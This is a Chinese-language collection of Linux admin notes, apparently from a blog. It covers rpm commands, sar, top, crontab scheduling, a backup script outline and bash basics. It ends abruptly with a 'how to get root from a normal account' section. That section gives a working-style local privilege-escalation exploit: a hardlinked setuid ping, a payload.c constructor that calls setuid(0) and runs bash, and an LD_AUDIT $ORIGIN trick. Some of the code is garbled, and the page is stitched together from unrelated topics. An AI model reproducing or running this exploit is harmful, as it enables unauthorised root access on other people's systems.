RPM是RedHat Package Manager（RedHat软件包管理工具）类似Windows里面的“添加/删除程序”

rpm 执行安装包
二进制包（Binary）以及源代码包（Source）两种。二进制包可以直接安装在计算机中，而源代码包将会由RPM自动编译、安装。源代码包经常以src.rpm作为后缀名。

常用命令组合：

rpm -q samba //查询程序是否安装rpm -ivh  /media/cdrom/RedHat/RPMS/samba-3.0.10-1.4E.i386.rpm //按路径安装并显示进度
rpm -ivh –relocate /=/opt/gaim gaim-1.3.0-1.fc4.i386.rpm    //指定安装目录

rpm -ivh –test gaim-1.3.0-1.fc4.i386.rpm　　　 //用来检查依赖关系；并不是真正的安装；
rpm -Uvh –oldpackage gaim-1.3.0-1.fc4.i386.rpm //新版本降级为旧版本

rpm -qa | grep httpd　　　　　 ＃[搜索指定rpm包是否安装]–all搜索*httpd*
rpm -ql httpd　　　　　　　　　＃[搜索rpm包]–list所有文件安装目录rpm -qpi Linux-1.4-6.i368.rpm　＃[查看rpm包]–query–package–install package信息
rpm -qpf Linux-1.4-6.i368.rpm　＃[查看rpm包]–file
rpm -qpR file.rpm　　　　　　　＃[查看包]依赖关系
rpm2cpio file.rpm |cpio -div    ＃[抽出文件]

rpm -ivh file.rpm 　＃[安装新的rpm]–install–verbose–hash
rpm -ivh

rpm -Uvh file.rpm    ＃[升级一个rpm]–upgrade
rpm -e file.rpm      ＃[删除一个rpm包]–erase

常用参数：

Install/Upgrade/Erase options:

-i, –install                     install package(s)
-v, –verbose                     provide more detailed output
-h, –hash                        print hash marks as package installs (good with -v)
-e, –erase                       erase (uninstall) package
-U, –upgrade=<packagefile>+      upgrade package(s)
－-replacepkge                    无论软件包是否已被安装，都强行安装软件包
–test                            安装测试，并不实际安装
–nodeps                          忽略软件包的依赖关系强行安装
–force                           忽略软件包及文件的冲突Query options (with -q or –query):
-a, –all                         query/verify all packages
-p, –package                     query/verify a package file
-l, –list                        list files in package
-d, –docfiles                    list all documentation files
-f, –file                        query/verify package(s) owning file

RPM源代码包装安装

.src.rpm结尾的文件，这些文件是由软件的源代码包装而成的，用户要安装这类RPM软件包，必须使用命令：

RPM 是 Red Hat Package Manager 的缩写，本意是Red Hat 软件包管理，顾名思义是Red Hat 贡献出来的软件包管理；在Fedora 、Redhat、Mandriva、SuSE、YellowDog等主流发行版本，以及在这些版本基础上二次开发出来的发行版采用；

RPM包里面都包含什么？里面包含可执行的二进制程序，这个程序和Windows的软件包中的.exe文件类似是可执行的；RPM包中还包括程序运行时所需要的文件，这也和Windows的软件包类似，Windows的程序的运行，除了.exe文件以外，也有其它的文件；

一个RPM 包中的应用程序，有时除了自身所带的附加文件保证其正常以外，还需要其它特定版本文件，这就是软件包的依赖关系；依赖关系并不是Linux特有的， Windows操作系统中也是同样存在的；比如我们在Windows系统中运行3D游戏，在安装的时候，他可能会提示，要安装Direct 9 ；Linux和Windows原理是差不多的；

一、RPM包管理的用途；

1、可以安装、删除、升级和管理软件；当然也支持在线安装和升级软件；
2、通过RPM包管理能知道软件包包含哪些文件，也能知道系统中的某个文件属于哪个软件包；
3、可以在查询系统中的软件包是否安装以及其版本；
4、作为开发者可以把自己的程序打包为RPM 包发布；
5、软件包签名GPG和MD5的导入、验证和签名发布
6、依赖性的检查，查看是否有软件包由于不兼容而扰乱了系统；

二、RPM 的使用权限；

RPM软件的安装、删除、更新只有root权限才能使用；对于查询功能任何用户都可以操作；如果普通用户拥有安装目录的权限，也可以进行安装；

三、rpm 的一点简单用法；

我们除了软件包管理器以外，还能通过rpm 命令来安装；是不是所有的软件包都能通过rpm 命令来安装呢？不是的，文件以.rpm 后缀结尾的才行；有时我们在一些网站上找到file.rpm ，都要用 rpm 来安装；

一）初始化rpm 数据库；

通过rpm 命令查询一个rpm 包是否安装了，也是要通过rpm 数据库来完成的；所以我们要经常用下面的两个命令来初始化rpm 数据库；

注：这两个参数是极为有用，有时rpm 系统出了问题，不能安装和查询，大多是这里出了问题；

二）RPM软件包管理的查询功能：

命令格式

RPM的查询功能是极为强大，是极为重要的功能之一；举几个常用的例子，更为详细的具体的，请参考#man rpm

1、对系统中已安装软件的查询；

1）查询系统已安装的软件；

-q就是 –query ，中文意思是“问”，此命令表示的是，是不是系统安装了gaim ；如果已安装会有信息输出；如果没有安装，会输出gaim 没有安装的信息；

查看系统中所有已经安装的包，要加 -a 参数 ；

如果分页查看，再加一个管道 |和more命令；

在所有已经安装的软件包中查找某个软件，比如说 gaim ；可以用 grep 抽取出来；

上面这条的功能和 rpm -q gaim 输出的结果是一样的；

2）查询一个已经安装的文件属于哪个软件包；

注：文件名所在的绝对路径要指出

举例：

3）查询已安装软件包都安装到何处；

例如

4）查询一个已安装软件包的信息

5）查看一下已安装软件的配置文件；

6）查看一个已经安装软件的文档安装位置：

7）查看一下已安装软件所依赖的软件包及文件；

查询已安装软件的总结：对于一个软件包已经安装，我们可以把一系列的参数组合起来用；比如 rpm -qil ；比如：

2、对于未安装的软件包的查看：

查看的前提是您有一个.rpm 的文件，也就是说对既有软件file.rpm的查看等；

1）查看一个软件包的用途、版本等信息；

2）查看一件软件包所包含的文件；

3）查看软件包的文档所在的位置；

4）查看一个软件包的依赖关系

5）查看一个软件包的配置文件；

sysstat基本命令linux中sysstat的命令

cat /etc/cron.d/sysstat
cd /var/log/sa/
sar -q -f sa01
load average || ldavg-1 ldavg-5 ldavg-15

sar -p -f sa05

sar -r -f sa05

sar -B -f sa05

sar -W -f sa05

sar -b -f sa05

sar -d -f sa05

sar -n DEV -f sa05
sar 0n NFS -f sa05

top 命令 移动查看顺序

centos6.5 以下 top -ab -n 1
按o 按大写字母可以调顺序 大写字母往左 小写往右

f,o . Fields/Columns: ‘f’ add or remove; ‘o’ change display order
F or O . Select sort field
查看cpu和内存占用排序,可以直接快捷方式

但是在centos7中快捷键用大小写f

f,F,X     Fields: ‘f’/’F’ add/remove/order/sort; ‘X’ increase fixed-width

下面是top帮助

centos6.5以下中hlep

centos7中hlep

linux定时运行

这行表示每天的1点执行root目录下的abc.sh

6个* 表示 分0-59 小时0-23 天1-31 月1-12 星期（0跟7表示星期天）

*表示每分钟（小时，天）
如果多个选值的就,分隔如 1,20,30
1-10表示 1到10
*/2每两分（小时）

crontab -l
#也可以进/etc/cron.d/目录下
#然后添加执行规则

————————————————–

cron.d/ cron.daily/ cron.deny cron.hourly/ cron.monthly/ cron.weekly/
目录 描述
/etc/cron.d/ 所有该目录下的脚本通过设置crontab来调用
/etc/cron.daily/ 每天运行一次该目录下的所有脚本
/etc/cron.hourly/ 每小时运行一次该目录下的所有脚本
/etc/cron.monthly/ 每个月运行一次该目录下的所有脚本
/etc/cron.weekly/ 每周运行一次该目录下的所有脚本
特殊符号 意义
@reboot 重启时运行一次
@yearly 每年运行一次，相当于： “0 0 1 1 *”.
@annually 跟@yearly意思一样
@monthly 每月运行一次, 相当于： “0 0 1 * *”.
@weekly 每周运行一次,相当于 “0 0 * * 0″.
@daily 每天运行一次, 相当于”0 0 * * *”.
@midnight 跟@daily的意思一样)
@hourly 每小时运行一次, 相当于”0 * * * *”.

运维总是需要备份数据如果手工备份太累可以用脚本 。先来学下怎么写脚本。然后用定时执行命令自动备份

mysqldump脚本

先新个abc.sh例如

vi abc.sh

其中user,password,dbname,/root/,/usr/bin/mysqldump换成自已服务器上的配置。

$UID是root的UID  -ne是等于  if ….fi 是条件判断语句

然后执行

sh abc.sh

然后一天更新一次备份文件

crontab -e
0 1 * * * /root/abc.sh

#!/bin/bash
#this is ….
#by name 2015-06–10

ANAME=123
echo $a

#!/bin/bash 这一行必须有shell 入门

变量ANAME 变量字母开头–最好用大写字母
打印 变量ANAME 必须用 $
$0 –脚本本身
$1 当前第几个参数1…9
$? –表示上个命令执行成功还是失败 0代表没有错误 如果提示bash:127表示不存在
$* 当前程序所有参数
$# 当前程序参数个数
$UID 当前uid

-f 文件
-d 目录
-eq 等于
-ne 不等于
-lt 小于
-gt 大于
-le 小于等于
-ge 大于等于
-z 空字符串
-a 都成立
-o 单方成立
#!/bin/bash
#instll apache
#by webblog 2015

echo -e “33[32m-I like you-33[0m
echo -e “33[32m————33[0m

$SAM=85

if(( $SAM > 80 ));then
echo ‘this is SAM \> 80’
fi

DI=/root/20150609

if [ ! -d $DI ];then
mkdir -p $DI
else
echo ‘this $DI is already exist’
fi

SAHT=/root/20150609/a.html

if [ ! -f $SAHT ];then
mkdir -p $SAHT
else
echo ‘this $SAHT is already exist’
fi

linux怎么提权限

如果拿 到linux普通帐号了怎么提成root权限

ll -d /tmp/
drwxrwxrwt. 31 root root 4096 Jun 5 18:51 /tmp/

cd /tmp/

mkdir exploit

ln /bin/ping /tmp/exploit/target

ll !$

exec 3< /tmp/exploit/target

ll /proc/$$/fd/3

rm -rf /tmp/exploit/

ll /proc/$$/fd/3

vim payload.c

void __attributo__((constructor)) init()
{
setuid(0);
system(“/bin/bash/”);
}
id root

gcc -w -fPIC -shared -o /tmp/exploit payload.c

ll /tmp/exploit

LD_AUDIT=”\$ORIGIN” exec /proc/self/fd/3